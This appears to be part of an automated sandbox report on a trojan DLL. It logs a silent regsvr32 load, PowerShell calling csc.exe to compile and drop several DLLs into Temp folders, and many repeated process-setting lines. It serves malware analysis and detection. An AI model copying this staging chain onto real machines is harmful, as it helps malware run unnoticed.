Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.cmdline"

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: section name: _RDATA

Source: C:\Windows\System32\loaddll64.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.dll	Jump to dropped file

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
